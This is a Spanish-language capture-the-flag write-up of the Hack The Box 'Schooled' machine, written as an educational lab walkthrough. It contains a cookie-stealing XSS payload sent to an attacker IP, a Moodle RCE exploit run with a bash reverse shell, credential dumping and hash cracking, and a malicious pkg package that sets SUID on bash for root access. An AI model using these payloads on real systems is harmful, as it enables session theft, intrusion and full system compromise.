Schooled - Hack The Box
Como siempre empezamos con la fase de reconocimiento, haciendo un escaneo de puertos con nmap
~$> sudo nmap -p- -sS --min-rate 4000 --open -vvv -n -Pn 10.10.10.234
-p-
-> Todo el rango de puertos (1-65535)-sS
-> TCP SYN/PORT scan--min-rate
-> Mínimo de paquetes que quiero que se emitan por segundo (4000)--open
-> Mostrar solo puertos abiertos-vvv
-> Triple verbose para ver los avances del escaneo antes de que acabe-n
-> Quitar la resolución DNS-Pn
-> Para no aplicar host discovery
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-15 16:08 -05
Initiating SYN Stealth Scan at 16:08
Scanning 10.10.10.234 [65535 ports]
Discovered open port 22/tcp on 10.10.10.234
Discovered open port 80/tcp on 10.10.10.234
Nmap scan report for 10.10.10.234
Not shown: 58807 filtered ports, 6726 closed ports
Reason: 58807 no-responses and 6726 resets
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 35.59 seconds
Raw packets sent: 128525 (5.655MB) | Rcvd: 6846 (274.068KB)
Con esto vemos que hay 2 puertos externamente visibles:
80
-> http22
-> ssh
Sabiendo que hay un servicio web http corriendo, hagamos un reconocimiento desde el navegador
Al final de esta página vemos que se repite un dominio schooled.htb
Así que lo añadimos a el /etc/hosts
, ya que nos puede servir para más adelante
~$> sudo echo "10.10.10.234 schooled.htb" >> /etc/hosts
Despues de un rato buscando y haciendo fuzzing de directorios, podemos encontrar nombres de usuarios potenciales, pero a demas de esto, no vemos mucho más, por lo que decidí nuevamente aplicar fuzzing, pero esta vez en busca de subdominios usando wfuzz de la siguiente forma:
~$> wfuzz -c -t 100 --hl=461 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "Host: FUZZ.schooled.htb" http://10.10.10.234
-c
-> Formato colorizado-t
-> Usando los hilos especificados (100)--hl
-> Ocultando las respuestas con el número de lineas 461--hc
-> Ocultando las respuestas con el código de estado 404-w
-> Wordlist-H
-> Especificar hostFUZZ
-> Lugar donde se aplicara el fuzzing
Obteniendo esto:
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.234/
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002010: 400 10 L 45 W 347 Ch "'"
000003776: 400 10 L 45 W 347 Ch "%20"
000005288: 400 10 L 45 W 347 Ch "$FILE"
000005940: 400 10 L 45 W 347 Ch "$file"
000006990: 400 10 L 45 W 347 Ch "*checkout*"
000014419: 200 1 L 5 W 84 Ch "moodle" **<- ESTO NOS INTERESA**
Con esto encontramos algo bastante interesante, un moodle, lo añadimos al /etc/hosts
, justo al lado del que añadimos al principio, quedando así en el /etc/hosts
:
10.10.10.234 schooled.htb moodle.schooled.htb
Luego de esto, intentamos visualizalo en la web, y vemos el moodle
Entramos al panel de login, para crear un nuevo usuario
En el correo debemos especificar el dominio (student.schooled.htb) que nos indican en el siguiente error:
Y creamos el nuevo usuario
Confirmamos la cuenta
Entramos y continuamos
Nos dirigimos a Site home
Entramos en Mathematics
Y nos inscribimos
Luego de esto, entramos en anuncios y vemos dos posts, en el último post, vemos que el usuario Manuel Philips dice algo sobre el MoodleNet
Al parecer estará revisando los perfiles de los usuarios inscritos en el curso, teniendo en cuenta esto, ya se nos biene a la cabeza un cookie hijacking, así que vamos a modificar nuestro MoodleNet así:
- Vamos a profile
- A editar perfil
- Y aquí vemos el MoodleNet profile que se nos mensionaba anteriormente
Dentro de este vamos a ingresar el siguiente código malicioso que nos permitira robar la cookie de sesión del usuario Manuel Philips
<script>document.write("<img src='http://[TU_IP]/imagen.jpg?cookie=" + document.cookie + "'>")</script>
Guardamos los cambios
Vemos que se añadió el MoodleNet profile en nuestro usuario
Iniciamos un servicio http con python3 por el puerto 80
~$> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y despues de esperar un rato, vemos que recibimos una petición GET con la cookie de sessión del usuario Manuel Phillips
10.10.10.234 - - [15/Sep/2021 21:42:02] code 404, message File not found
10.10.10.234 - - [15/Sep/2021 21:42:02] "GET /imagen.jpg?cookie=MoodleSession=e59bjq67scrid3id39ti344dmn HTTP/1.1" 404
Ahora podríamos conectarnos como Manuel Phillips haciendo un cookie hijacking, pero vamos directo al grano:
- Clonamos el siguiente exploit del repositorio de githubd de Lanzt, con esto conseguiremos RCE
~$> git clone https://github.com/lanzt/CVE-2020-14321
Cloning into 'CVE-2020-14321'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 18 (delta 3), reused 8 (delta 2), pack-reused 0
Receiving objects: 100% (18/18), 15.30 KiB | 979.00 KiB/s, done.
Resolving deltas: 100% (3/3), done.
- Nos metemos al directorio donde se clonó, le damos premisos de ejecución
~$> cd CVE-2020-14321
~$> chmod +x CVE-2020-14321_RCE.py
- Nos ponemos en escucha en una terminal por separado, por el puerto 443, haciendo uso de rlwrap
~$> rlwrap nc -nlvp 443
listening on [any] 443 ...
- Y ejecutamos el exploit anteriormente clonado de este modo:
~$> ./CVE-2020-14321_RCE.py http://moodle.schooled.htb/moodle --cookie [COOKIE_ROBADA_DEL_USUARIO_PHILLIPS] -c "bash -c 'bash -i >& /dev/tcp/[TU_IP]/443 0>&1'"
__ __ __ __ __ __ __ __
/ \ /|_ __ _) / \ _) / \ __ /| |__| _) _) /|
\__ \/ |__ /__ \__/ /__ \__/ | | __) /__ | • by lanz
Moodle 3.9 - Remote Command Execution (Authenticated as teacher)
Course enrolments allowed privilege escalation from teacher role into manager role to RCE
[+] Login on site: MoodleSession:sjcag2ogfe33bg1p1ri1l80au9 ✓
[+] Updating roles to move on manager accout: ✓
[+] Updating rol manager to enable install plugins: ✓
[+] Uploading malicious .zip file: ✓
[+] Executing bash -c 'bash -i >& /dev/tcp/10.10.16.51/443 0>&1': ✓
[+] Keep breaking ev3rYthiNg!!
Luego de esto vemos como recibimos una conección en la consola por la que estabamos en escucha
connect to [10.10.16.51] from (UNKNOWN) [10.10.10.234] 23509
bash: cannot set terminal process group (2027): Can't assign requested address
bash: no job control in this shell
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$
No podemos hacer un tratamiento de la tty, pero si podemos definir las variables TERM y SHELL, para mejorar un poco la movilidad
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ export TERM=xterm
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ export SHELL=bash
Retrocedemos unos directorios
[www@Schooled /usr/local/www/apache24/data/moodle/blocks/rce/lang/en]$ cd /usr/local/www/apache24/data/moodle
[www@Schooled /usr/local/www/apache24/data/moodle]$
Y si listamos el contenido de este directorio vemos varios ficheros, pero hay uno que puede contener información interesante, el config.php
[www@Schooled /usr/local/www/apache24/data/moodle]$ ls
[...]
config-dist.php
config.php
contentbank
[...]
Lo leemos y encontramos credenciales en texto plano
[www@Schooled /usr/local/www/apache24/data/moodle]$ cat config.php
<?php // Moodle configuration file
unset($CFG);
global $CFG;
$CFG = new stdClass();
$CFG->dbtype = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle'; **<- USUARIO**
$CFG->dbpass = 'PlaybookMaster2020'; **<- CONTRASEÑA**
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
'dbpersist' => 0,
'dbport' => 3306,
'dbsocket' => '',
'dbcollation' => 'utf8_unicode_ci',
);
$CFG->wwwroot = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot = '/usr/local/www/apache24/moodledata';
$CFG->admin = 'admin';
$CFG->directorypermissions = 0777;
require_once(__DIR__ . '/lib/setup.php');
// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!
Si intentamos listar las bases de datos con mysqlshow o nos intentamos conectar con mysql, no vamos a poder ya que el PATH del usuario con el que estamos, es muy limitado, esto lo vemos haciendole un echo
a la variable de entorno
[www@Schooled /usr/local/www/apache24/data/moodle]$ echo $PATH
/sbin:/bin:/usr/sbin:/usr/bin
Como podemos ver, con este PATH no podremos hacer mucho, por lo que abrimos una consola de nuestra máquina, de la misma manera leemos el PATH, no lo copiamos y lo definimos en la máquina víctima
~$> echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/$USER
[www@Schooled /usr/local/www/apache24/data/moodle]$ export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/$USER
Con esto ya podremos usar mysqlshow y mysql, ya que con lo anterior, el sistema tiene más rutas para buscar
- Listamos las bases de datos usando las credenciales que anteriormente encontramos en el fichero
config.php
[www@Schooled /usr/local/www/apache24/data/moodle]$ mysqlshow -umoodle -pPlaybookMaster2020
+--------------------+
| Databases |
+--------------------+
| information_schema |
| moodle |
+--------------------+
- Vemos 2 bases de datos, si vemos el contenido de la segunda (moodle), se nos listan muchas tablas, pero vemos una potencialmente crítica (mdl_user)
[www@Schooled /usr/local/www/apache24/data/moodle]$ mysqlshow -umoodle -pPlaybookMaster2020 moodle
[ ... ... ... ... ]
| mdl_url |
| mdl_user |
| mdl_user_devices |
[ ... ... ... ... ]
- Vemos el contenido de esta tabla con mysql
[www@Schooled /usr/local/www/apache24/data/moodle]$ mysql -umoodle -pPlaybookMaster2020 -e "select * from mdl_user" moodle
- Luego de esto, se nos lista un monton de contenido, nosotros nos quedaremos con la fila que dice admin
[ ... ... ... ... ] [ ... ... ... ... ]
admin $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW Jamie Borham jamie@staff.schooled.htb
[ ... ... ... ... ] [ ... ... ... ... ]
Debemos recordar el nombre del usuario administrador (Jamie), este nos servirá más adelante
- Copiamos el usuario (admin) con su hash ($2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW) y lo guardamos en un fichero en nuestra máquina de atacante
~$> echo "admin:\$2y\$10\$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW" > hash
- Ahora crackeamos el hash, en mi caso con john
~$> john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx (admin)
Luego de un rato conseguimos unas credenciales, una contraseña y un usuario el cual usaremos para conectarnos por ssh como el usuario (jamie <- usuario administrador)
Esto podemos hacerlo desde la máquina víctima o desde nuestra máquina de atacante (yo prefiero conectarme desde mi máquina)
~$> ssh jamie@10.10.10.234
Password for jamie@Schooled: !QAZ2wsx
jamie@Schooled:~ $ whoami
jamie
Perfecto!, podemos conectarnos y leer la flag user.txt
jamie@Schooled:~ $ ls
user.txt
jamie@Schooled:~ $ cat user.txt
Ahora, para escalar privilegios, listamos las acciones que podemos hacer como el usuario root
jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
Y vemos que podemos ejecutar pkg como root sin proporcionar contraseña
Buscando un poco encontré este post en el que se nos explica como abusar de pkg haciendo uso de fpm
fpm es una gema que tendremos que instalar en nuestra máquina, esto con gem install fpm
Hacemos esto en nuestra máquina
~$> TF=$(mktemp -d)
~$> echo 'chmod 4755 /bin/bash' > $TF/x.sh
chmod 4755 /bin/bash
-> Asignar permisos SUID a la bash
~$> fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
Created package {:path=>"x-1.0.txz"}
Nos ponemos en escucha en nuestra máquina, con netcat por el puerto 443, para transferir el fichero que acabamos de crear (x-1.0.txz)
~$> nc -nlvp 443 < x-1.0.txz
listening on [any] 443 ...
Y nos conectamos desde la máquina víctima, igualmente con netcat por el puerto 443, para recibir el fichero que habíamos creado (x-1.0.txz)
jamie@Schooled:~ $ nc [TU_IP] 443 > x-1.0.txz
Vemos que recibimos una conección a nuestra máquina y se descargó el fichero (x-1.0.txz) en la máquina víctima
jamie@Schooled:~ $ ls
user.txt x-1.0.txz
Ejecutamos este comando en la máquina víctima:
jamie@Schooled:~ $ sudo /usr/sbin/pkg install -y --no-repo-update ./x-1.0.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
x: 1.0
Number of packages to be installed: 1
[1/1] Installing x-1.0...
Extracting x-1.0: 0%
pkg: File //tmp/tmp.tEHHdxCGFv/x.sh not specified in the manifest
Extracting x-1.0: 100%
Leemos los permisos de la bash
jamie@Schooled:~ $ ls -l /usr/local/bin/bash
-rwsr-xr-x 1 root wheel 941288 Feb 20 2021 /usr/local/bin/bash
Y vemos que tiene asignados permisos SUID, lo que nos permitirá ejecutar una bash como root, pudiendo así entrar en en directorio /root
y visualizar la flag
jamie@Schooled:~ $ /usr/local/bin/bash -p
[jamie@Schooled ~]#
[jamie@Schooled ~]# whoami
root
[jamie@Schooled ~]# cd /root
[jamie@Schooled /root]# cat root.txt